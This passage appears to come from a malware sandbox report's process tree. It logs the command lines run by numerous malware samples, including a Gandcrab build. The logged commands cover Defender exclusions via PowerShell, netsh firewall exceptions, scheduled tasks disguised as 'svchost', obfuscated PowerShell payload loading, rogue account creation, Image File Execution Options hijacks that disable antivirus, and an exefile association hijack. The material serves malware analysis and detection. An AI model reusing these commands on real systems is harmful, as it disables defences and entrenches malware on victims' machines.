    3⤵
    PID:5832
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:5392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM Exsample.exe
      4⤵
      Kills process with taskkill
      PID:5720
- C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe
  "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2364
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\Program Files (x86)\34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" "34b0a29a97d72d74cbcf11b5b19c2324a9bbd58dd76a5e87976744414ad47219.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    PID:2220
- C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe
  "C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe"
  2⤵
  - Executes dropped EXE
  PID:1536
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\eznww4cb\eznww4cb.cmdline"
    3⤵
    PID:5656
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEC25.tmp" "c:\Windows\System32\CSCF428C477EF747B3973E067051BE69.TMP"
      4⤵
      PID:6940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\All Users\Documents\explorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7940
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Java\jre-1.8\legal\javafx\explorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\MSBuild\Microsoft\conhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\AccountPictures\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\57ccb6f0bd910fed428761828ae93553.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:440
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\dmx4mgPMEL.bat"
    3⤵
    PID:8076
- C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe
  "C:\Program Files (x86)\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2116
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
    "Powershell.exe" -windowstyle minimized "$Teratism249 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\celleslim\farve\pitiableness\Guldtand.Spi168' ; $Neglefilen=$Teratism249.SubString(69482,3);.$Neglefilen($Teratism249) "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1104
- C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe
  "C:\Program Files (x86)\73c1c41b9e71c48e752a5cd19fe808b6.exe"
  2⤵
  PID:556
- C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe
  "C:\Program Files (x86)\75c82fd18fcf8a51bc1b32a89852d90978fa5e7a55281f42b0a1de98d14644fa.exe"
  2⤵
  PID:3540
- C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
  "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
  2⤵
  PID:4456
- - C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe
    "C:\Program Files (x86)\78cc9626bb8d6f9d8ddf8236c197894a86f9d54a294b38c9c0b82744496b3fae.exe"
    3⤵
    PID:6808
- C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe
  "C:\Program Files (x86)\938b92958ded4d50a357d22eddf141ad.exe"
  2⤵
  PID:1716
- - C:\Windows\winhlp32.exe
    winhlp32.exe -x
    3⤵
    PID:3688
- - C:\Windows\winhlp32.exe
    winhlp32.exe -x
    3⤵
    PID:3264
- C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
  "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe"
  2⤵
  PID:896
- C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
  "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
  2⤵
  PID:864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Registration\CRMLog\StartMenuExperienceHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Acrobat Reader DC\csrss.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sihost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7444
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Installer\backgroundTaskHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\PrintDialog\Assets\backgroundTaskHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5480
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\UGffKwYkoB.bat"
    3⤵
    PID:6680
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2216
  - - C:\Windows\system32\PING.EXE
      ping -n 10 localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4572
- C:\Program Files (x86)\BTZ.exe
  "C:\Program Files (x86)\BTZ.exe"
  2⤵
  PID:1776
- C:\Program Files (x86)\Cat.exe
  "C:\Program Files (x86)\Cat.exe"
  2⤵
  PID:3200
- C:\Program Files (x86)\Client.exe
  "C:\Program Files (x86)\Client.exe"
  2⤵
  PID:3580
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
    3⤵
    PID:6272
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6996
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:1644
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7496
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:3572
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7940
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
    3⤵
    PID:2572
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
      4⤵
      PID:7924
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
    3⤵
    PID:7204
  - - C:\Windows\system32\schtasks.exe
      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7916
- C:\Program Files (x86)\Darkest Dungeon setub.exe
  "C:\Program Files (x86)\Darkest Dungeon setub.exe"
  2⤵
  PID:4624
- - C:\Users\Admin\AppData\Roaming\svhost.exe
    "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    PID:6208
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:7136
- C:\Program Files (x86)\evil.exe
  "C:\Program Files (x86)\evil.exe"
  2⤵
  PID:1576
- - C:\Users\Admin\AppData\Local\Temp\evil.exe
    "C:\Users\Admin\AppData\Local\Temp\evil.exe"
    3⤵
    PID:5144
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\evil.exe" "evil.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:6536
- C:\Program Files (x86)\fwclt.exe
  "C:\Program Files (x86)\fwclt.exe"
  2⤵
  PID:4524
- C:\Program Files (x86)\Gandcrab5.0.3.exe
  "C:\Program Files (x86)\Gandcrab5.0.3.exe"
  2⤵
  PID:1240
- - C:\Windows\SysWOW64\wermgr.exe
    "C:\Windows\System32\wermgr.exe"
    3⤵
    PID:6020
  - - C:\Program Files (x86)\virus.jk.jk.exe
      "C:\Program Files (x86)\virus.jk.jk.exe" C:\Windows\system32\wbem\wmic.exe
      4⤵
      PID:4348
    - - C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        5⤵
        
        PID:1268
      - C:\NH-Helper.exe
        
        C:\NH-Helper.exe
        6⤵
        
        PID:7152
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        7⤵
        
        PID:5424
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        8⤵
        
        PID:5860
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        7⤵
        
        PID:6904
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.jk.exe %1
        6⤵
        
        PID:5760
      - C:\J-V-C.EXE
        
        C:\J-V-C.EXE
        6⤵
        
        PID:7420
        
        C:\Program Files (x86)\virus.jk.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.jk.exe"
        7⤵
        
        PID:4972
- C:\Program Files (x86)\Happy18.exe
  "C:\Program Files (x86)\Happy18.exe"
  2⤵
  PID:2884
- C:\Program Files (x86)\kosomk.exe
  "C:\Program Files (x86)\kosomk.exe"
  2⤵
  PID:2384
- - C:\Users\Admin\AppData\Roaming\dicsord.exe
    "C:\Users\Admin\AppData\Roaming\dicsord.exe"
    3⤵
    PID:5868
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\dicsord.exe" "dicsord.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      PID:6980
- C:\Program Files (x86)\LightNeuronX0.exe
  "C:\Program Files (x86)\LightNeuronX0.exe"
  2⤵
  PID:5100
- C:\Program Files (x86)\malecus.exe
  "C:\Program Files (x86)\malecus.exe"
  2⤵
  PID:392
- C:\Program Files (x86)\see7.exe
  "C:\Program Files (x86)\see7.exe"
  2⤵
  PID:448
- - C:\Program Files (x86)\see7.exe
    "C:\Program Files (x86)\see7.exe"
    3⤵
    PID:6276
- C:\Program Files (x86)\TEST.exe
  "C:\Program Files (x86)\TEST.exe"
  2⤵
  PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB716.tmp.bat""
    3⤵
    PID:7852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\touhou virus.bat" "
  2⤵
  PID:3420
- - C:\Windows\SysWOW64\net.exe
    net user Shanghai /add
    3⤵
    PID:6996
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Shanghai /add
      4⤵
      PID:5760
- - C:\Windows\SysWOW64\net.exe
    net user Bad Apple /add
    3⤵
    PID:5424
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Bad Apple /add
      4⤵
      PID:6928
- - C:\Windows\SysWOW64\net.exe
    net user Marisa
    3⤵
    PID:4232
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Marisa
      4⤵
      PID:7456
- - C:\Windows\SysWOW64\net.exe
    net user Reimu /add
    3⤵
    PID:5176
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Reimu /add
      4⤵
      PID:7908
- - C:\Windows\SysWOW64\mountvol.exe
    mountvol X:\ /d
    3⤵
    PID:8144
- C:\Program Files (x86)\vbc.exe
  "C:\Program Files (x86)\vbc.exe"
  2⤵
  PID:4572
- - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
    C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
    3⤵
    PID:4340
  - - C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
      C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
      4⤵
      PID:672
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4340 -s 612
      4⤵
      Program crash
      PID:5636
- C:\Program Files (x86)\virus.jk.exe
  "C:\Program Files (x86)\virus.jk.exe"
  2⤵
  PID:3308
- - C:\Program Files (x86)\virus.jk.jk.exe
    "C:\Program Files (x86)\virus.jk.jk.exe"
    3⤵
    PID:5332
  - - C:\NH-Helper.exe
      C:\NH-Helper.exe
      4⤵
      PID:5880
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c C:\123.bat
        5⤵
        
        PID:4332
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        6⤵
        
        PID:7136
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        6⤵
        
        PID:4232
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
        6⤵
        
        PID:6372
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe
        5⤵
        
        PID:4032
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ftype exefile=C:\Program Files (x86)\virus.jk.jk.exe %1
      4⤵
      PID:5004
  - - C:\J-V-C.EXE
      C:\J-V-C.EXE
      4⤵
      PID:5588
    - - C:\Program Files (x86)\virus.jk.jk.exe
        
        "C:\Program Files (x86)\virus.jk.jk.exe"
        5⤵
        
        PID:5216

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:648
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff256646f8,0x7fff25664708,0x7fff25664718
    3⤵
    PID:5496
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument microsoft-edge:https://go.microsoft.com/fwlink/?LinkId=528881
  2⤵
  PID:5928
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff256646f8,0x7fff25664708,0x7fff25664718
    3⤵
    PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
    3⤵
    PID:4180
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
    3⤵
    PID:5992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2140 /prefetch:8
    3⤵
    PID:5592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
    3⤵
    PID:6128
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3340 /prefetch:1
    3⤵
    PID:5996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4588 /prefetch:1
    3⤵
    PID:5072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
    3⤵
    PID:3996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3836 /prefetch:1
    3⤵
    PID:6820
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3904 /prefetch:1
    3⤵
    PID:7488
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4804 /prefetch:1
    3⤵
    PID:932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5432 /prefetch:1
    3⤵
    PID:4520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
    3⤵
    PID:5564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:2
    3⤵
    PID:6120
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3488 /prefetch:8
    3⤵
    PID:5840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5084 /prefetch:2
    3⤵
    PID:8108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=5380 /prefetch:2
    3⤵
    PID:632
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,4488383077827972557,4238152369488348201,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2820 /prefetch:2
    3⤵
    PID:5544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
